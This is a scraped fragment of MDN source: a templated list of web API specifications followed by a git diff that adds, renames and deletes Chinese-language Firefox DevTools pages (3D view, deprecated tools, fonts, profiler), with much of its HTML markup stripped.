- {{event("blur")}} {{event("error")}} {{event("focus")}} {{event("load")}} {{event("scroll")}}
- Events on the Window objects:
- {{event("afterprint")}} {{event("beforeprint")}} {{event("beforeunload")}} {{event("fullscreenchange")}} {{event("fullscreenerror")}} {{event("hashchange")}} {{event("message")}} {{event("offline")}} {{event("online")}} {{event("pagehide")}} {{event("pageshow")}} {{event("popstate")}} {{event("resize")}} {{event("storage")}} {{event("unload")}}
- Events on the Document objects: {{event("readystatechange")}}

-
 CSSVariableGetting StartedCSS TutorialsThe CSS3 page list them & the CSS Reference has the list of properties, functions, pseudo-classes and pseudo-elements. Some specifications also add APIs.
- {{SpecName("CSS3 Fonts")}}: {{domxref("CSSFontFaceRule")}} {{domxref("CSSFontFeatureValuesRule")}} {{domxref("Document.fontLoader")}} {{domxref("CSSFontFaceLoadEvent")}} {{domxref("FontLoader")}} {{event("loading")}} (event) {{event("loadingdone")}} (event) {{event("loadstart")}} (event) {{event("load")}} (evnet) {{event("error")}} (event)
- {{SpecName("CSS3 Transitions")}}: {{domxref("TransitionEvent")}} {{event("transitionend")}} (event)
- {{SpecName("CSS3 Animations")}}: {{domxref("AnimationEvent")}} {{event("animationstart")}} (event) {{event("animationend")}} (event) {{event("animationiteration")}} (event) {{domxref("CSSKeyframeRule")}} {{domxref("CSSKeyframesRule")}}
- {{SpecName("CSS3 Conditional")}}: {{domxref("CSSGroupingRule")}} {{domxref("CSSConditionRule")}} {{domxref("CSSMediaRule")}} (new inheritance) {{domxref("CSSSupportsRule")}} {{domxref("CSS")}}
- {{SpecName("CSS3 Device")}}: {{domxref("CSSViewportRule")}}
- {{SpecName("CSS3 Variables")}}: {{domxref("CSSStyleDeclaration.CSSVariablesDeclaration")}} {{domxref("CSSVariablesDeclaration")}}
EcmaScriptVariable   
SVG    
WebGL    
MathML    
{{SpecName("DOM WHATWG") }}{{ Spec2("DOM WHATWG") }}DOM Reference  {{ domxref("Attr") }} {{ domxref("CharacterData") }} {{ domxref("ChildNode") }} {{ domxref("Comment") }} {{ domxref("CustomEvent") }} {{ domxref("Document")}} {{ domxref("DocumentFragment") }} {{ domxref("DocumentType") }} {{ domxref("DOMError") }} {{ domxref("DOMImplementation") }} {{ domxref("DOMSettableTokenList") }} {{ domxref("DOMTokenList") }} {{ domxref("Element")}} {{ domxref("Event")}} {{ domxref("EventTarget")}} {{ domxref("Future")}} {{ domxref("HTMLCollection") }} {{ domxref("MutationObserver")}} {{ domxref("MutationRecord")}} {{ domxref("Node") }} {{ domxref("NodeFilter") }} {{ domxref("NodeIterator") }} {{ domxref("NodeList") }} {{ domxref("ParentNode")}} {{ domxref("ProcessingInstruction") }} {{ domxref("Text") }} {{ domxref("TimeRanges") }} {{ domxref("Treewalker") }} {{ domxref("XMLDocument")}}
{{SpecName("CSSOM")}}{{ Spec2("CSSOM")}}CSSOM {{domxref("MediaList")}} {{domxref("Stylesheet")}} {{domxref("CSSStylesheet")}} {{domxref("StylesheetList")}} {{domxref("Document.styleSheets")}} {{domxref("Document.selectedStyleSheetSet")}} {{domxref("Document.lastStyleSheetSet")}} {{domxref("Document.preferredStyleSheetSet")}} {{domxref("Document.styleSheetSets")}} {{domxref("Document.enableStyleSheetsForSet()")}} {{domxref("LinkStyle")}} {{domxref("CSSRuleList")}} {{domxref("CSSRule")}} {{domxref("CSSCharsetRule")}} {{domxref("CSSImportRule")}} {{domxref("CSSMediaRule")}} {{domxref("CSSFontFaceRule")}} {{domxref("CSSPageRule")}} {{domxref("CSSNamespaceRule")}} {{domxref("CSSStyleDeclaration")}} {{domxref("ElementCSSInlineStyle")}} {{domxref("Window.getComputedStyle()")}} {{domxref("Window.getDefaultComputedStyle()")}}
{{SpecName("CSSOM View")}}{{ Spec2("CSSOM View")}}  {{domxref("Window.matchMedia()")}} {{domxref("Window.screen")}} {{domxref("Window.innerHeight")}} {{domxref("Window.innerWidth")}} {{domxref("Window.scrollX")}} {{domxref("Window.scrollY")}} {{domxref("Window.pageXOffset")}} {{domxref("Window.pageYOffset")}} {{domxref("Window.scroll()")}} {{domxref("Window.scrollTo()")}} {{domxref("Window.scrollBy()")}} {{domxref("Window.screenX")}} {{domxref("Window.screenY")}} {{domxref("Window.outerWidth")}} {{domxref("Window.outerHeight")}} {{domxref("MediaQueryList")}} {{domxref("Screen")}} {{domxref("Document.elementFromPoint()")}} {{domxref("Document.caretPositionFromPoint()")}} {{domxref("CaretPosition")}} {{domxref("MediaList")}} {{domxref("MediaQueryListListener")}} {{domxref("HTMLElement.offsetParent")}} {{domxref("HTMLElement.offsetTop")}} {{domxref("HTMLElement.offsetLeft")}} {{domxref("HTMLElement.offsetWidth")}} {{domxref("HTMLElement.offsetRight")}} {{domxref("Element.getClientRects()")}} {{domxref("Element.getBoundingClientRect()")}} {{domxref("Element.scrollIntoView()")}} {{domxref("Element.scrollTop")}} {{domxref("Element.scrollLeft")}} {{domxref("Element.scrollWidth")}} {{domxref("Element.scrollHeight")}} {{domxref("Element.clientTop")}} {{domxref("Element.clientLeft")}} {{domxref("Element.clientWidth")}} {{domxref("Element.clientHeight")}} {{domxref("Range.getClientRects()")}} {{domxref("Range.getBoundingClientRect()")}} {{domxref("MouseEvent.screenX")}} {{domxref("MouseEvent.screenY")}} {{domxref("MouseEvent.pageX")}} {{domxref("MouseEvent.pageY")}} {{domxref("MouseEvent.clientX")}} {{domxref("MouseEvent.clientY")}} {{domxref("MouseEvent.x")}} {{domxref("MouseEvent.y")}} {{domxref("MouseEvent.offsetX")}} {{domxref("MouseEvent.offsetY")}} {{domxref("ClientRectList")}} {{domxref("ClientRect")}}
{{SpecName("Web Workers")}} (also in WHATWG HTML){{ Spec2("Web Workers")}}  {{domxref("WorkerGlobalScope")}} {{domxref("DedicatedWorkerGlobalScope")}} {{domxref("SharedWorkerGlobalScope")}} {{domxref("AbstractWorker")}} {{domxref("Worker")}} {{domxref("SharedWorker")}} {{domxref("WorkerNavigator")}} {{domxref("WorkerUtils")}} {{domxref("WorkerLocation")}}
{{SpecName("Element Traversal")}}{{Spec2("Element Traversal")}}  {{domxref("ElementTraversal")}}
{{SpecName("File API")}}{{Spec2("File API")}}  {{domxref("File")}} {{domxref("Blob")}} {{domxref("FileList")}} {{domxref("FileReader")}} {{domxref("FileReaderSync")}}
{{SpecName("Fullscreen")}}{{Spec2("Fullscreen")}} Using fullscreen mode{{cssxref(":fullscreen")}} {{cssxref("::backdrop")}} {{domxref("Element.requestFullscreen()")}}  {{domxref("Document.fullscreenEnabled")}} {{domxref("Document.fullscreenElement")}} {{domxref("Document.exitFullscreen()")}} {{domxref("Document.onfullscreenchange()")}} {{domxref("Document.onfullscreenerror()")}} {{event("fullscreenchange")}} (event) {{event("fullscreenerror")}} (event)
{{SpecName("IndexedDB")}}{{Spec2("IndexedDB")}}IndexedDBUsing IndexedDB Using IndexedDB in chrome{{domxref("IDBDatabase")}} {{domxref("IDBObjectStore")}} {{domxref("IDBIndex")}} {{domxref("IDBRequest")}} {{domxref("IDBTransaction")}} {{domxref("IDBFactory")}} {{domxref("IDBKeyRange")}} {{domxref("IDBCursor")}} {{domxref("IDBObjectStoreParameters")}} {{domxref("IDBIndexParameters")}} {{domxref("IDBOpenDBRequest")}} {{domxref("IDBVersionChangeEvent")}} {{domxref("IDBEnvironment")}} {{domxref("Window")}} (new inheritance) {{domxref("WorkerUtils")}} (new inheritance) {{domxref("IDBCursorWithValue")}} {{domxref("IDBTransactionMode")}} {{domxref("IDBCursorWithValueSync")}}
{{SpecName("Web Audio API")}}{{Spec2("Web Audio API")}}  {{domxref("AnalyserNode")}} {{domxref("AudioBuffer")}} {{domxref("AudioBufferSourceNode")}} {{domxref("AudioContext")}} AudioDestinationNode {{domxref("AudioListener")}} {{domxref("AudioNode")}} {{domxref("AudioParam")}} {{event("audioprocess")}} (event) {{domxref("AudioProcessingEvent")}} {{domxref("BiquadFilterNode")}} ChannelMergerNode ChannelSplitterNode complete (event) ConvolverNode {{domxref("DelayNode")}}{{domxref("DynamicsCompressorNode")}} ended (event) {{domxref("GainNode")}} MediaElementAudioSourceNode MediaStreamAudioDestinationNode MediaStreamAudioSourceNode OfflineAudioCompletionEvent OfflineAudioContext OscillatorNode {{domxref("PannerNode")}} {{domxref("ScriptProcessorNode")}} WaveShaperNode WaveTable
{{SpecName("WebRTC 1.0")}}{{Spec2("WebRTC 1.0")}}  {{domxref("RTCConfiguration")}} {{domxref("RTCIceServer")}} {{domxref("RTCPeerConnection")}} {{domxref("RTCError")}} {{domxref("RTCSdpError")}} {{domxref("RTCSessionDescription")}} {{domxref("RTCIceCandidate")}} {{domxref("RTCPeerConnectionIceEvent")}} {{domxref("RTCDataChannel")}} {{domxref("RTCDataChannelEvent")}} {{domxref("RTCDTMFSender")}} {{domxref("RTCToneChangeEvent")}} {{domxref("MediaStreamEvent")}}
{{SpecName("Media Capture")}}{{Spec2("Media Capture")}}   
{{SpecName("MediaStream Recording")}}{{Spec2("MediaStream Recording")}}  {{domxref("MediaRecorder")}} {{event("start")}} (event) {{event("stop")}} (event) {{event("dataavailable")}} (event) {{event("pause")}} (event) {{event("resume")}} (event) {{event("error")}} (event) {{event("warning")}} (event) {{domxref("BlobEvent")}} {{domxref("RecordingError")}}
{{SpecName("Pointer Lock")}}{{Spec2("Pointer Lock")}} Pointer Lock API{{event("pointerlockchange")}} (event) {{event("pointerlockerror")}} (event) {{domxref("Element.requestPointerLock")}}  {{domxref("Document.onpointerlockchange")}} {{domxref("Document.onpointerlockerror")}} {{domxref("Document.pointerLockElement")}} {{domxref("Document.exitPointerLock()")}} {{domxref("MouseEvent.movementX")}} {{domxref("MouseEvent.movementY")}}
{{SpecName("Vibration API")}}{{Spec2("Vibration API")}} Vibration API{{domxref("Vibration")}} {{domxref("window.navigator.vibrate()")}}
{{SpecName("Battery API")}}{{Spec2("Battery API")}}Battery Status API {{domxref("window.navigator.battery")}} {{domxref("BatteryManager")}} {{event("chargingchange")}} (event) {{event("chargingtimechange")}} (event) {{event("dischargingtimechange")}} (event) {{event("levelchange")}} (event)
{{SpecName("Geolocation")}}{{Spec2("Geolocation")}} Using geolocation{{domxref("NavigatorGeolocation")}} {{domxref("Geolocation")}} {{domxref("window.navigator.geolocation")}}  {{domxref("Positions")}} {{domxref("PositionOptions")}} {{domxref("Coordinates")}} {{domxref("PositionError")}} Note that several of these interfaces are documented under {{domxref("window.navigator.geolocation.getCurrentPosition()")}}
{{SpecName("Device Orientation")}}{{Spec2("Device Orientation")}}  {{event("deviceorientation")}} (event){{domxref("DeviceOrientationEvent")}} {{event("compassneedscalibration")}} (event) {{event("devicemotion")}} (event) {{domxref("DeviceMotionEvent")}} {{domxref("DeviceAcceleration")}} {{domxref("DeviceRotationRate")}}
{{SpecName("Screen Orientation")}}{{Spec2("Screen Orientation")}}  {{domxref("Screen.orientation")}} {{domxref("Screen.lockOrientation()")}}{{domxref("Screen.unlockOrientation()")}} {{domxref("Screen.onorientationchange")}} {{event("orientationchange")}} (event)
{{SpecName("Web Notifications")}}{{Spec2("Web Notifications")}}  {{domxref("Notification")}} {{event("click")}} (event) {{event("show")}} (event) {{event("error")}} (event) {{event("close")}} (event)
{{SpecName("AmbientLight")}}{{Spec2("AmbientLight")}}  {{domxref("window.ondevicelight")}} {{domxref("DeviceLightEvent")}} {{event("devicelight")}} (event)
{{SpecName("Proximity Events")}}{{Spec2("Proximity Events")}}  {{domxref("window.ondeviceproximity")}} {{domxref("DeviceProximityEvent")}} {{event("deviceproximity")}} (event) {{domxref("window.onuserproximity")}} {{domxref("UserProximityEvent")}} {{event("userproximity")}} (event)
{{SpecName("WebIDL")}}{{Spec2("WebIDL")}}   
{{SpecName("XMLHttpRequest")}}{{Spec2("XMLHttpRequest")}}  {{domxref("XMLHttpRequest")}} {{domxref("XMLHttpRequestEventTarget")}} {{domxref("XMLHttpRequestUpload")}} {{event("loadstart")}} (event) {{event("error")}} (event) {{event("timeout")}} (event) {{event("progress")}} (event) {{event("abort")}} (event) {{event("load")}} (event) {{event("loadend")}} (event) {{event("readystatechange")}} (event) {{domxref("FormData")}}
{{SpecName("Highres Time")}}{{Spec2("Highres Time")}}  {{domxref("DOMHighResTimestamp")}} {{domxref("Performance.now()")}}
{{SpecName("Websockets")}} (also in WHATWG HTML){{Spec2("Websockets")}}WebSockets WebSockets referenceWriting WebSocket client applications{{domxref("WebSocket")}} (documented under WebSockets/WebSockets_reference/WebSocket ) {{event("open")}} (event) {{event("message")}} (event) {{event("error")}} (event) {{event("close")}} (event) {{domxref("CloseEvent")}} (documented under WebSockets/WebSockets_reference/CloseEvent )
{{SpecName("Page Visibility API")}}{{Spec2("Page Visibility API")}}  {{domxref("Document.hidden")}} {{domxref("Document.visibilityState")}} {{event("visibilitychange")}} (event)
{{SpecName("RequestAnimationFrame")}}{{Spec2("RequestAnimationFrame")}}  {{domxref("Window.requestAnimationFrame()")}} {{domxref("Window.cancelAnimationFrame()")}}
{{SpecName("Server-sent events")}} (also in WHATWG HTML){{Spec2("Server-sent events")}}  {{domxref("EventSource")}} {{event("open")}} (event) {{event("error")}} (event) {{event("message")}} (event)
{{SpecName("Network Information")}}{{Spec2("Network Information")}}  {{domxref("NetworkInformation")}} {{domxref("Connection")}} {{event("change")}} (event)
{{SpecName("Web Storage")}} (also in WHATWG HTML){{Spec2("Web Storage")}}  {{domxref("Storage")}} {{domxref("WindowSessionStorage")}} {{domxref("WindowLocalStorage")}} {{event("storage")}} {{domxref("StorageEvent")}}
{{SpecName("Selectors API Level 1")}}{{Spec2("Selectors API Level 1")}}  {{domxref("Document.querySelector()")}} {{domxref("Document.querySelectorAll()")}} {{domxref("DocumentFragment.querySelector()")}} {{domxref("DocumentFragment.querySelectorAll()")}} {{domxref("Element.querySelector()")}} {{domxref("Element.querySelectorAll()")}}
{{SpecName("Progress Events")}}{{Spec2("Progress Events")}}  {{domxref("ProgressEvent")}}
{{SpecName("Typed Array")}}{{Spec2("Typed Array")}} JavaScript Typed arraysInt8Array Int16Array Int32Array Uint8Array Uint16Array Uint32Array Uint8ClampedArray Float32Array Float64Array, ...
{{SpecName("Gamepad")}}{{Spec2("Gamepad")}}  {{domxref("Gamepad")}} {{domxref("window.navigator.getGamepads()")}} {{domxref("GamepadEvent")}} {{event("gamepadconnected")}} (event) {{event("gamepaddisconnected")}}
{{SpecName("Navigation Timing")}}{{Spec2("Navigation Timing")}}  {{domxref("PerformanceTiming")}} {{domxref("PerformanceNavigation")}} {{domxref("Performance")}} {{domxref("window.performance")}}
{{SpecName("WOFF1.0")}}{{Spec2("WOFF1.0")}}About the Web Open Font Format  
{{SpecName("WebVTT")}}{{Spec2("WebVTT")}}  {{cssxref("::cue")}} {{cssxref(":past")}} {{cssxref(":future")}} {{domxref("WebVTTCue")}}
WebSocket Protocol    
CORS    
HTTP HTTP  
TLS    
MediaFragment    
Link: header    
Content-Disposition: header    
URLLiving Standard  {{domxref("URLUtils")}} {{domxref("URLUtilsReadOnly")}}
-

 

diff --git a/files/zh-cn/tools/3d_view/index.html b/files/zh-cn/tools/3d_view/index.html new file mode 100644 index 0000000000..60ea480269 --- /dev/null +++ b/files/zh-cn/tools/3d_view/index.html @@ -0,0 +1,102 @@ +--- +title: 三维视图 +slug: Tools/Page_Inspector/3D_view +translation_of: Tools/3D_View +--- +
{{ToolsSidebar}}
+ +
+

三维视图在 Firefox 47 被移除。

+
+ +

{{ fx_minversion_header("11") }}

+ +

当你点击"三维视图"按钮之后,当前页面会进入三维视图模式,在该模式中, 页面中的HTML嵌套结构,会以图形化的方式,由外到内,从页面底部一级一级凸显出来. 这种视图可以让你很容易的看清楚页面的嵌套结构.

+ +

3dview.png

+ +

按住左键拖拽视图, 你可以旋转整个页面,从不同的角度查看页面的DOM层次,理清页面的结构. 页面显示区域以外的元素也变为可见状态,你能看到这些游离元素相对于页面可见区域所处的位置. 你可以点击区块选择对应的元素,该元素对应的HTML和CSS会在 HTML面板Style面板显示出来.反回来, 你也可以在HTML面板中点击所要查看的元素,该元素也会在三维视图中成为被选择状态.

+ +

如果你的页面查看器里没有三维视图按钮,则最有可能的原因是你的显卡驱动需要更新了. 查看blocklisted drivers page了解更多信息.

+ +

控制三维视图

+ +

通过键盘快捷键和鼠标操作可以控制三维视图的显示模式.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
功能键盘快捷键 鼠标操作
放大/缩小+/-             滚轮向上/向下滚动
向左/向右旋转a / d按住左键向左/向右拖动
向上/向下旋转w / s按住左键向上/向下拖动
向左/向右平移← / →按住右键向左/向右拖动
向上/向下平移↑ / ↓按住右键向上/向下拖动
重置放大级别到默认状态0
将焦点转移到当前选择的节点,确保当前选择的节点是可见的{{ fx_minversion_inline("13.0") }}f
重置整个视图到默认状态(放大级别,旋转角度,移动位置等){{ fx_minversion_inline("12.0") }}r
隐藏当前选择的节点,确保当前选择的节点是不可见的, 这样可以看到下层被遮挡的节点{{ fx_minversion_inline("12.0") }}x
+ +

三维视图的用途

+ +

三维视图在很多种情形下都会派上用场:

+ +
    +
  • 如果一些结构不良好的HTML引起了页面的布局问题, 三维视图可能能够帮你找到问题所在. 通常情况下,布局问题是由页面内容的嵌套错误引起的.在三维视图下,嵌套错误的那些元素可以比较明显的被显示出来.
  • +
  • 如果一个元素没有显示在页面上,你会希望能够快速的找到问题所在.三维视图提供了缩小页面显示的功能,可以显示出那些正常情况下页面可见区域之外的元素, 所以你可以通过这种方法找到那些游离的无法显示的元素.
  • +
  • 可以查看你的页面结构,找到如何优化页面布局的方法.
  • +
  • 当然,还有一点,就是它看起来很炫.
  • +
+ +

相关链接

+ + + +

{{ languages( { "ja": "ja/Tools/Page_Inspector/3D_view", "en": "en/Tools/Page_Inspector/3D_view"} ) }}

diff --git a/files/zh-cn/tools/add-ons/index.html b/files/zh-cn/tools/add-ons/index.html deleted file mode 100644 index 7c50cee424..0000000000 --- a/files/zh-cn/tools/add-ons/index.html +++ /dev/null @@ -1,6 +0,0 @@ ---- -title: 组件 -slug: Tools/Add-ons -translation_of: Tools/Add-ons ---- -
{{ToolsSidebar}}

开发者工具没有内置到Firefox里面,而是作为组件的方式存在。

diff --git a/files/zh-cn/tools/deprecated_tools/index.html b/files/zh-cn/tools/deprecated_tools/index.html new file mode 100644 index 0000000000..f7bb80e5bf --- /dev/null +++ b/files/zh-cn/tools/deprecated_tools/index.html @@ -0,0 +1,122 @@ +--- +title: 不推荐的工具 +slug: Tools/不推荐的工具 +translation_of: Tools/Deprecated_tools +--- +

{{ToolsSidebar}}

+ +

在devtools的开发过程中,我们添加了几个实验面板来尝试新的想法。并不是所有这些都被广泛采用,而且由于维护成本的原因,很少使用的面板最终被移除。

+ +

我们已经创建了这个不推荐使用或删除的面板列表。此页记录不推荐使用的面板和跟踪其删除的错误。尽管这些面板已经被删除,但是您仍然可以访问旧代码,并且有其他的web扩展,您可以尝试获得类似的功能。

+ +


+ 当我们否决某个小组时,我们首先从社区获得反馈,以确定删除该小组的影响。一旦我们决定移除面板,我们将提供一条警告消息,最后,我们将从代码库中移除面板。

+ +


+ 尝试激活已弃用的面板时,可能会看到警告消息,如下图所示:

+ +

+ +

此外,如果打开其中一个工具的面板,您还将看到有关删除该工具的警告消息。

+ +

+ +

草稿行

+ +

从firefox 70开始,scratchpad将被弃用 ({{bug(1565380)}}).

+ +

它将在将来被删除(目前版本号未知)  ({{bug(1519103)}}).

+ +

说明

+ +

scratchpad提供了一个测试javascript代码的环境。您可以编写、运行和检查与网页交互的代码的结果。

+ +

Screenshot of the Scratchpad window with a deprecation message

+ +

选择

+ +

您可以在web控制台中编写多行javascript代码,使其类似于scratchpad。如果您在控制台中输入的javascript代码可以解释为多行语句的开头, Enter 在输入中添加新行,您可以使用 Ctrl + Enter (Cmd + Enter 在 macOS).

+ +

Screenshot of the Webconsole multiline input, showing an evaluation with a Syntax Error and another, correct one.

+ +

在计算时,输入不会被清除,这使得在代码片段上快速排列成为可能。

+ +


+ 结果显示在控制台输出中,在输入的右侧,提供即时反馈。与scratchpad不同,错误在输出中以可扩展的stacktrace正确显示,这使得调试当前编写的代码更加容易。

+ +

WebIDE和连接页

+ +

WebIDE在Firefox 69中被弃用

+ +

从 Firefox 70 弃用 ({{bug(1539451)}}).

+ +

从 Firefox 71 删除 ({{bug(1539462)}}).

+ +

说明

+ +

webide允许您将firefox开发工具连接到远程浏览器,比如firefox for android。它还旨在支持firefox操作系统的应用程序开发。

+ +

+ +

选择

+ +

远程调试可在  “关于:从Firefox 68开始调试”  中找到。未移植到about的功能有:wifi调试,firefox for android,应用程序开发。已计划但尚未移植的功能:远程浏览器屏幕截图和编辑远程浏览器配置。有关邮件列表线程的更多详细信息。

+ +

Canvas 调试器

+ +

Bugzilla 问题: {{bug(1403938)}}

+ +

从Firefox 67删除

+ +

说明

+ +

canvas调试器允许用户检查canvas元素并查看给定函数的调用频率。由于没有使用,它被弃用了。

+ +


+ 我们没有画布调试器的专用文档。

+ +

+ +

Alternatives

+ +

Spector.js 是一个webextension,可以为这些特性提供3d说明文。

+ +

Web Audio editor(网络音频编辑器)

+ +

Bugzilla 问题: {{bug(1403944)}}

+ +

从Firefox 67删除

+ +

说明

+ +

web音频编辑器允许您检查在页面中构造的音频上下文,并提供其图形的可视化。这提供了其操作的高级视图,并使您能够确保所有节点都按预期方式连接。可以为图中的每个节点编辑audioparam属性。一些非AudioParam属性,如振荡节点的类型属性,也被显示和编辑。由于没有使用,它被弃用了。

+ +


+ 更多关于Web Audio Editor

+ +

+ +

选择

+ +

替代方案包括 AudioNhttps://github.com/spite/WebAudioExtension web extensions.

+ +

Shader editor

+ +

Bugzilla 问题: {{bug(1342237)}}

+ +

从Firefox 67删除

+ +

说明

+ +

The Shader Editor

+ +

允许用户检查和编辑webgl顶点和片段着色器的源。由于使用和维护成本较低,已弃用。

+ +


+ 更多关于Shader Editor

+ +

+ +

Alternatives

+ +

此面板的另一个选择是此扩展:https://github.com/spite/ShaderEditorExtension, 或 Spector.js 还支持一个着色器编辑器,该编辑器需要一个库来使用着色器重载器挂钩。目前只有巴比伦图书馆。

diff --git a/files/zh-cn/tools/page_inspector/3d_view/index.html b/files/zh-cn/tools/page_inspector/3d_view/index.html deleted file mode 100644 index 60ea480269..0000000000 --- a/files/zh-cn/tools/page_inspector/3d_view/index.html +++ /dev/null @@ -1,102 +0,0 @@ ---- -title: 三维视图 -slug: Tools/Page_Inspector/3D_view -translation_of: Tools/3D_View ---- -
{{ToolsSidebar}}
- -
-

三维视图在 Firefox 47 被移除。

-
- -

{{ fx_minversion_header("11") }}

- -

当你点击"三维视图"按钮之后,当前页面会进入三维视图模式,在该模式中, 页面中的HTML嵌套结构,会以图形化的方式,由外到内,从页面底部一级一级凸显出来. 这种视图可以让你很容易的看清楚页面的嵌套结构.

- -

3dview.png

- -

按住左键拖拽视图, 你可以旋转整个页面,从不同的角度查看页面的DOM层次,理清页面的结构. 页面显示区域以外的元素也变为可见状态,你能看到这些游离元素相对于页面可见区域所处的位置. 你可以点击区块选择对应的元素,该元素对应的HTML和CSS会在 HTML面板Style面板显示出来.反回来, 你也可以在HTML面板中点击所要查看的元素,该元素也会在三维视图中成为被选择状态.

- -

如果你的页面查看器里没有三维视图按钮,则最有可能的原因是你的显卡驱动需要更新了. 查看blocklisted drivers page了解更多信息.

- -

控制三维视图

- -

通过键盘快捷键和鼠标操作可以控制三维视图的显示模式.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
功能键盘快捷键 鼠标操作
放大/缩小+/-             滚轮向上/向下滚动
向左/向右旋转a / d按住左键向左/向右拖动
向上/向下旋转w / s按住左键向上/向下拖动
向左/向右平移← / →按住右键向左/向右拖动
向上/向下平移↑ / ↓按住右键向上/向下拖动
重置放大级别到默认状态0
将焦点转移到当前选择的节点,确保当前选择的节点是可见的{{ fx_minversion_inline("13.0") }}f
重置整个视图到默认状态(放大级别,旋转角度,移动位置等){{ fx_minversion_inline("12.0") }}r
隐藏当前选择的节点,确保当前选择的节点是不可见的, 这样可以看到下层被遮挡的节点{{ fx_minversion_inline("12.0") }}x
- -

三维视图的用途

- -

三维视图在很多种情形下都会派上用场:

- -
    -
  • 如果一些结构不良好的HTML引起了页面的布局问题, 三维视图可能能够帮你找到问题所在. 通常情况下,布局问题是由页面内容的嵌套错误引起的.在三维视图下,嵌套错误的那些元素可以比较明显的被显示出来.
  • -
  • 如果一个元素没有显示在页面上,你会希望能够快速的找到问题所在.三维视图提供了缩小页面显示的功能,可以显示出那些正常情况下页面可见区域之外的元素, 所以你可以通过这种方法找到那些游离的无法显示的元素.
  • -
  • 可以查看你的页面结构,找到如何优化页面布局的方法.
  • -
  • 当然,还有一点,就是它看起来很炫.
  • -
- -

相关链接

- - - -

{{ languages( { "ja": "ja/Tools/Page_Inspector/3D_view", "en": "en/Tools/Page_Inspector/3D_view"} ) }}

diff --git a/files/zh-cn/tools/page_inspector/how_to/edit_fonts/index.html b/files/zh-cn/tools/page_inspector/how_to/edit_fonts/index.html new file mode 100644 index 0000000000..a5a6ae1e6e --- /dev/null +++ b/files/zh-cn/tools/page_inspector/how_to/edit_fonts/index.html @@ -0,0 +1,22 @@ +--- +title: View fonts +slug: Tools/Page_Inspector/How_to/View_fonts +translation_of: Tools/Page_Inspector/How_to/Edit_fonts +--- +
{{ToolsSidebar}}

font-family tooltip 字体系列提示

+ +

当鼠标悬停在样式规则视图中的一个字体系列类型,将出现应用该字体类型的样例提示:

+ +

 

+ +

+ +

Fonts view 字体视图

+ +

Fonts view字体视图显示当前选中元素所应用的所有字体类型。需要注意的是,它显示的是浏览器当前系统使用的字体,这可能和CSS样式指定的字体不一样。

+ +

+ +

字体视图默认显示的文本是"Abc",从Firefox 41开始,这个预览文本可以自由编辑。

+ +

 

diff --git a/files/zh-cn/tools/page_inspector/how_to/view_fonts/index.html b/files/zh-cn/tools/page_inspector/how_to/view_fonts/index.html deleted file mode 100644 index a5a6ae1e6e..0000000000 --- a/files/zh-cn/tools/page_inspector/how_to/view_fonts/index.html +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: View fonts -slug: Tools/Page_Inspector/How_to/View_fonts -translation_of: Tools/Page_Inspector/How_to/Edit_fonts ---- -
{{ToolsSidebar}}

font-family tooltip 字体系列提示

- -

当鼠标悬停在样式规则视图中的一个字体系列类型,将出现应用该字体类型的样例提示:

- -

 

- -

- -

Fonts view 字体视图

- -

Fonts view字体视图显示当前选中元素所应用的所有字体类型。需要注意的是,它显示的是浏览器当前系统使用的字体,这可能和CSS样式指定的字体不一样。

- -

- -

字体视图默认显示的文本是"Abc",从Firefox 41开始,这个预览文本可以自由编辑。

- -

 

diff --git a/files/zh-cn/tools/profiler/index.html b/files/zh-cn/tools/profiler/index.html deleted file mode 100644 index e2f7da543c..0000000000 --- a/files/zh-cn/tools/profiler/index.html +++ /dev/null @@ -1,140 +0,0 @@ ---- -title: JavaScript Profiler -slug: Tools/Profiler -translation_of: Tools/Performance -translation_of_original: Tools/Profiler ---- -
{{ToolsSidebar}}

使用Profiler工具找到你的JavaScript代码的瓶颈. Profiler会定期统计JavaScript样本的堆栈信息.

- -

你可以通过在Web Developer菜单下选择Profiler来启动它. 在Linux和OS X下,你可以在Tools菜单下找到Web Developer,而在windows下,Web Developer则在FIrefox菜单下.

- -

当Profiler被选择后,工具箱就会被打开.

- -

抽样分析器

- -

JavaScript Profiler是一个抽样分析器. 这意味着它会定期对JavaScript引擎的状态取样, 并且记录取样时代码运行的堆栈信息. 统计学上, 我们运行可接受样本数量的函数,花费的时间相当于浏览器运行它的时间,所以你可以很好的从你的代码里找到瓶颈。
-
- 例如,考虑这样一个程序:

- -
function doSomething() {
-  var x = getTheValue();
-  x = x + 1;                   // -> sample A
-  logTheValue(x);
-}
-
-function getTheValue() {
-  return 5;
-}
-
-function logTheValue(x) {
- console.log(x);               // -> sample B, sample C
-}
-
-doSomething();
- -

Suppose we run this program with the profiler active, and in the time it takes to run, the profiler takes three samples, as indicated in the inline comments above.

- -

They're all taken from inside doSomething(), but the second two are inside the logTheValue() function called by doSomething(). So the profile would consist of three stack traces, like this:

- -
Sample A: doSomething()
-Sample B: doSomething() > logTheValue()
-Sample C: doSomething() > logTheValue()
- -

This obviously isn't enough data to tell us anything, but with a lot more samples we might be able to conclude that logTheValue() is the bottleneck in our code.

- -

Creating a profile

- -

点击探查器中的秒表按钮来开始记录。当探查器正在记录时,秒表按钮是高亮状态。当我们再一次点击秒表按钮时,记录将停止并保存为一个新的Profile:

- -

- -

Once you've clicked "Stop", the new profile will open automatically:

- -

- -

This pane's divided into two parts:

- -
    -
  • The left-hand side lists all the profiles you've captured and allows you to load each one. Just above this there are two buttons: the stopwatch button allows you to record a new profile while the Import... button allows you to import previously saved data. When profile is selected, you can save its data as a JSON file by clicking the Save button.
  • -
  • The right-hand side displays the currently loaded profile.
  • -
- -

Analyzing a profile

- -

The profile is split into two parts:

- - - -

Profile timeline

- -

The profile timeline occupies the top part of the profile display:

- -

The horizontal axis is time, and the vertical axis is call stack size at that sample. Call stack represents the amount of active functions at the time when the sample was taken.

- -

Red samples along the chart indicate the browser was unresponsive during that time, and a user would notice pauses in animations and responsiveness. If a profile has red samples, consider breaking this code up into several events, and look into using requestAnimationFrame and Workers.

- -

You can examine a specific range within the profile by clicking and dragging inside the timeline:

- -

- -

A new button then appears above the timeline labeled "Sample Range [AAA, BBB]". Clicking that button zooms the profile, and the details view underneath it, to that timeslice:

- -


-

- -

Profile details

- -

The profile details occupy the bottom part of the profile display:

- -

